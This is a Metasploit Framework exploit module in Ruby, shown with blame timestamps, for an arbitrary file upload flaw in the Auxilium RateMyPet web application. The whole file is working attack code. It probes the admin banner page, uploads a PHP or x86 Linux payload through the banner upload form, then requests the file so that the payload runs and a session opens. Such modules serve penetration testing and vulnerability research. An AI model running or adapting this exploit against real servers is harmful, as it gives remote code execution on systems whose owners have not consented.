metasploit-framework/modules/exploits/multi/http/auxilium_upload_exec.rb

122 lines
3.3 KiB
Ruby
Raw Normal View History

2012-09-24 15:16:11 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
2012-11-01 19:53:18 +00:00
require 'msf/core/exploit/php_exe'
2012-09-24 15:16:11 +00:00
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
2012-10-12 09:53:01 +00:00
include Msf::Exploit::PhpEXE
2012-09-24 15:16:11 +00:00
def initialize(info={})
super(update_info(info,
'Name' => "Auxilium RateMyPet Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Auxilium RateMyPet's. The site
banner uploading feature can be abused to upload an arbitrary file to the web
server, which is accessible in the 'banner' directory, thus allowing remote code
execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
2012-10-12 09:53:01 +00:00
'DaOne', # Vulnerability discovery
'sinn3r' # Metasploit
2012-09-24 15:16:11 +00:00
],
'References' =>
[
2012-09-25 06:19:58 +00:00
['OSVDB', '85554'],
2012-09-24 15:16:11 +00:00
['EDB', '21329']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Platform' => ['linux', 'php'],
'Targets' =>
[
2012-10-12 09:53:01 +00:00
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
2012-09-24 15:16:11 +00:00
],
'Privileged' => false,
'DisclosureDate' => "Sep 14 2012",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base directory to the application', '/Auxiliumpetratepro/'])
], self.class)
end
def check
uri = target_uri.path
base = File.dirname("#{uri}.")
2012-09-24 15:16:11 +00:00
res = send_request_raw({
'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php")
})
2012-09-24 15:16:11 +00:00
if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def upload_exec(base, php_fname, p)
data = Rex::MIME::Message.new
data.add_part('http://', nil, nil, "form-data; name=\"burl\"")
data.add_part('', nil, nil, "form-data; name=\"alt\"")
data.add_part(p, 'text/plain', nil, "form-data; name=\"userfile\"; filename=\"#{php_fname}\"")
data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"")
post_data = data.to_s
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"),
2012-09-24 15:16:11 +00:00
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
})
if not res
print_error("#{@peer} - No response from host")
return
end
print_status("#{@peer} - Requesting '#{php_fname}'...")
res = send_request_raw({'uri'=>normalize_uri("#{base}/banners/#{php_fname}")})
2012-09-24 15:16:11 +00:00
if res and res.code == 404
print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")
return
end
handler
end
def exploit
@peer = "#{rhost}:#{rport}"
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
base = File.dirname("#{uri}.")
2012-09-24 15:16:11 +00:00
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
2012-10-12 09:53:01 +00:00
p = get_write_exec_payload(:unlink_self=>true)
2012-09-24 15:16:11 +00:00
upload_exec(base, php_fname, p)
end
end